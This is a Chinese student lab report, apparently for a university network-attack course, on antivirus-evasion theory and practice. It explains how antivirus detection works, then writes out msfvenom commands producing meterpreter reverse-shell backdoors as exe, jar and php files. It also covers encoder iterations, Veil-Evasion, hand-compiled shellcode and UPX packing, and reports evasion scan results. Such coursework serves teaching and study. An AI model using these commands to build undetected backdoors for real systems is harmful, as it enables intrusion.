2016424王启元 Exp3免杀原理与实现
基础问题回答
1、杀软是如何检测出恶意代码的?
(1)基于特征码的检测
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。
优点:检测效率高、能精确检测恶意软件类型和具体名称。
缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
(2)启发式恶意软件检测
一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。
优点:可以检测0-day恶意软件(0day是反盗版的打击对象,指在安全补丁发布前被了解和掌握的漏洞信息),具有一定通用性
缺点:实时监控系统行为,开销稍多,没有基于特征码的精确度高
(3)基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
缺点:可能误报、不能识别病毒名称、实现时有一定难度。
2、免杀是做什么?
即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
3、免杀的基本方法有哪些?
1)变形特征码:
- 只有EXE:
- 加壳:压缩壳 加密壳
- 有shellcode:有源代码:
- encode编码、payload重新编译
- 翻译成其他语言
(2)改变明目张胆的行为:
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
改变操作模式 - 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
1. 实践内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.1.1 使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
扫描结果如下图:


(由于名字违规,改成文件名改成了wqy,之后的文件都以这个为基础,以文件名后添加1.2.3为区别)
可以看出不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码使用命令: -e 选择编码器,
-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符- 十次编码使用命令:
-i设置迭代次数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.128 LPORT=4324 -f exe > wqy1_backdoor.exe

可见多次编码对免杀没有太大的效果
- msfvenom生成jar文件
- 生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.128 LPORT=4324 x> wqy_backdoor_java.jar

这时只有7款软件能查出来
- msfvenom生成php文件
- 生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.137.128LPORT=4324 x> wqy3_backdoor.php

这时只有一款软件发现病毒
- 使用veil-evasion生成后门程序及检测
veil安装太费时间,拷贝了同学的虚拟机之后虚拟机kali地址有所改变变成了192.168.1.115
输入
veil指令;用
use evasion命令进入Evil-Evasion;输入命令
use c/meterpreter/rev_tcp.py进入配置界面,如下图; 
- 设置反弹连接IP,命令为:
set LHOST 192.168.1.115,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 4324

输入
generate生成文件,接着输入你想要playload的名字:veil_c_4324
检测一下:
发现比之前有更多的软件可以检测出来了
- 半手工注入Shellcode并执行
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4324 -f c
创建一个文件4324
.exe,然后将unsigned char buf[]赋值到其中,代码如下:
使用命令i686-w64-mingw32-g++ 4324.c -o 4324.exe
使用VirusTota网页下检查结果
加个壳
- 使用压缩壳(UPX)
给之前的4324.exe加个壳得到sxx_upxed.exe:

扫描结果如下
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
通过组合应用各种技术实现恶意代码免杀
对c盘指定查杀

发现并没有查杀到hyperion的可执行文件,成功免杀。
- 实践总结与体会
2.1实验总结
从实验中知道了还是不能太依赖杀软。加壳基本上没什么用,使用veil-evasion将payload重新编译还可以,通过本次实验还是觉得电脑管家软件病毒库还是很齐全的基本上普通的病毒都能查杀。
2.2开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止电脑中恶意代码,但是大部分还是可以被查杀。
2016424王启元 Exp3免杀原理与实现的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- Activator不能创建包含范型参数的实例
Activator包含特定的方法,用以在本地或从远程创建对象类型,或获取对现有远程对象的引用.此类不能被继承. 具体介绍:http://msdn.microsoft.com/zh-cn/library ...
- SQL*Plus用法指南
SQL是一种命令式的语言,它是用户操作数据库的最重要的一种方式.SQL语句在执行时,需要有一个执行环境. 开发人员在开发软件时,最终的结果是形成一个应用程序.在应用程序中可以嵌入SQL语句,利用这些S ...
- Python 抓取html所有特定元素的方法
直接上代码哦,够直接了吧~ from lxml import etree #import mechanize import lxml.html #import cookielib #br = mech ...
- Digester学习笔记(二)转载
为便于理解,将笔记的内容结构作了一些调整. 对象栈 对digester技术最普通的应用,是用来动态创建一个由Java对象构成的树结构,各对象的属性以及对象间的关系,基于XML文档的内容来设置(XML文 ...
- VC++下的Unicode编程
ASCII是用来表示英文字符的一种编码规范.每个ASCII字符占用1个字节,因此,ASCII编码可以表示的最大字符数是255(00H—FFH). 其实,英文字符并没有那么多,一般只用前128个(00H ...
- input获取焦点软键盘弹出影响定位
解决移动端底部fixed和input获取焦点软键盘弹出影响定位的问题$(document).ready(function() { var ...
- 【架构】基于Nutch+Hadoop+Hbase+ElasticSearch的网络爬虫及搜索引擎
网络爬虫架构在Nutch+Hadoop之上,是一个典型的分布式离线批量处理架构,有非常优异的吞吐量和抓取性能并提供了大量的配置定制选项.由于网络爬虫只负责网络资源的抓取,所以,需要一个分布式搜索引擎, ...
- 使用bmfont制作字体
本地显示正常 将制作好的字体上传 别人用不好使 制作完场景没ctrl+s 保存 ctrl+s保存之后生成另外的文件
- TestNG+Selenium
是一个开源自动化测试框架.其实类似于JUnit这种单元测试框架,但进行了一些功能扩展 属于selenium?还是说TestNG是一个测试框架,它用到了selenium的web自动化测试的功能,比如使用 ...
- Python——使用matplotlib绘制柱状图
Python——使用matplotlib绘制柱状图 1.基本柱状图 首先要安装matplotlib(http://matplotlib.org/api/pyplot_api.htm ...